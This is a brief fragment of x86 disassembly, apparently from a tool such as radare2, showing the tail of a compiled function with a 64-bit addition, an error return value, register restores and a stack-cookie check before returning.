add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x405545
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00401f4e
leave
ret